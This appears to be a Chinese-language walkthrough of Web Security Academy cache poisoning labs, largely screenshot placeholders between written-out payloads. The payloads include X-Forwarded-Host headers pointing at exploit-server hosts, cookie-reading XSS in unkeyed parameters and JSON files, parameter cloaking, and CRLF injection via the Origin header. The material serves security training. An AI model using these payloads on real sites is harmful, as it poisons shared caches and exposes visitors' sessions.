带有未加密标头的 Web 缓存中毒

image-20221225171124815

image-20221225171229363

X-Forwarded-Host: wanan.red

image-20221225172218559

alert(document.cookie)

image-20221225172510064

image-20221225172834896

image-20221225172841799

使用未加密的 cookie 的 Web 缓存中毒

image-20221225175501859

image-20221225175450394

image-20221225180130800

其中cookie 被放到响应中了

fehost=prod"-alert(1)-"01

image-20221225180335664

具有多个标头的 Web 缓存中毒

image-20221225182721182

X-Forwarded-Host: wanan.red
X-Forwarded-Scheme: http

image-20221225182707730

image-20221225182754643

但是当 scheme 为 https时并不会跳转

image-20221225190755018

X-Forwarded-Host: exploit-0aa8002d04531e8ec6886669016d0054.exploit-server.net
X-Forwarded-Scheme: http

image-20221225190947651

image-20221225191013329

使用未知标头的有针对性的 Web 缓存中毒

image-20221225191228131

image-20221225191808612

image-20221225192126886

image-20221225192133876

image-20221225192322188

image-20221225192326858

image-20221225192706561

image-20221225193532050

<img src="https://exploit-0a7500b804ae08ffc13ea9fe017e00a2.exploit-server.net/foo" />

image-20221225195115196

image-20221225195138849

image-20221225200709498

image-20221225200700263

通过未加密的查询字符串进行 Web 缓存中毒

image-20221225203647876

image-20221225203635466

但是当更改 Origin时会缓存

image-20221225203811369

/?eval='/><script>alert(1)</script>

删去Origin 头 一直重放到出现miss

image-20221225204506042

image-20221225204447659

通过未加密查询参数的 Web 缓存中毒

image-20221225211223859

image-20221225212330550

/?utm_content='/><script>alert(1)</script>

image-20221225212431234

image-20221225212444338

参数隐藏

image-20221225214242203

/js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)

这里添加两个callback的原因主要是由于 普通用户并不会更改callback 为alet(1) 因此我们需要找到一个方法去更改 callback

image-20221225221623027

通过胖 GET 请求的 Web 缓存投毒

image-20221225225057709

callback=alert(1)

image-20221225225039513

URL 规范化

image-20221225231431789

image-20221225231423496

https://0a4100a0036e44d4c10508fd000f0055.web-security-academy.net/rand</p><script>alert(1)</script><p>foo

image-20221225231455964

image-20221225232508374

Web 缓存投毒,通过具有严格可缓存性标准的缓存来利用 DOM 漏洞

image-20221225233239296

image-20221226112255867

image-20221226112512757

image-20221226112517924

image-20221226112718081

这里会将host传入

image-20221226114119428

可以看到这里json内容

/resources/json/geolocate.json
Access-Control-Allow-Origin: *
{
"country": "<img src=1 onerror=alert(document.cookie) />"
}

image-20221226114620861

image-20221226114830256

结合 Web 缓存中毒漏洞

image-20221226130731653

image-20221226130748432

image-20221226131721489

image-20221226131731344

/resources/json/translations.json
Access-Control-Allow-Origin: *
{
"en": {
"name": "English"
},
"es": {
"name": "español",
"translations": {
"Return to list": "Volver a la lista",
"View details": "</a><img src=1 onerror='alert(document.cookie)' />",
"Description:": "Descripción"
}
}
}

image-20221226134836730

image-20221226134854395

image-20221226134906914

image-20221226135311141

image-20221226135349021

现在我们已经毒化 es的请求 但是我们需要毒化en的请求

image-20221226135751386

观察到有一个请求重定向

image-20221226140213978

还需要使用

X-Original-URL: /setlang\es

将用户的语言强制设置为 es

先缓存 /?localized=1 将 es 的json请求 转到漏洞服务器

X-Forwarded-Host: exploit-0aab00b004e8d3e0c04b26d1018400b2.exploit-server.net

image-20221226141322043

接着缓存 302重定向 转到 es 页面

X-Original-URL: /setlang\es

image-20221226141415652

image-20221226141458150

缓存键注入

image-20221226143759085

通过 Pragma: x-get-cache-key 可以看到 服务器端使用的缓存键是什么

image-20221226145246658

/js/localize.js?lang=en?utm_content=z&cors=1&x=1
Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$

image-20221226150154856

当缓存成功之后 访问

/js/localize.js?lang=en?cors=1&x=1$$Origin=x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$

这个请求就会执行 alert(1)

/login?lang=en?utm_content=x%26cors=1%26x=1$$Origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23

image-20221226150213123

image-20221226150227811

这里我们将这个请求注入到 login 页面

image-20221226150131098

内部缓存中毒

image-20221226152301701

image-20221226154213855

X-Forwarded-Host: exploit-0a000092033cc452c050bc9c013d00b4.exploit-server.net

image-20221226154759881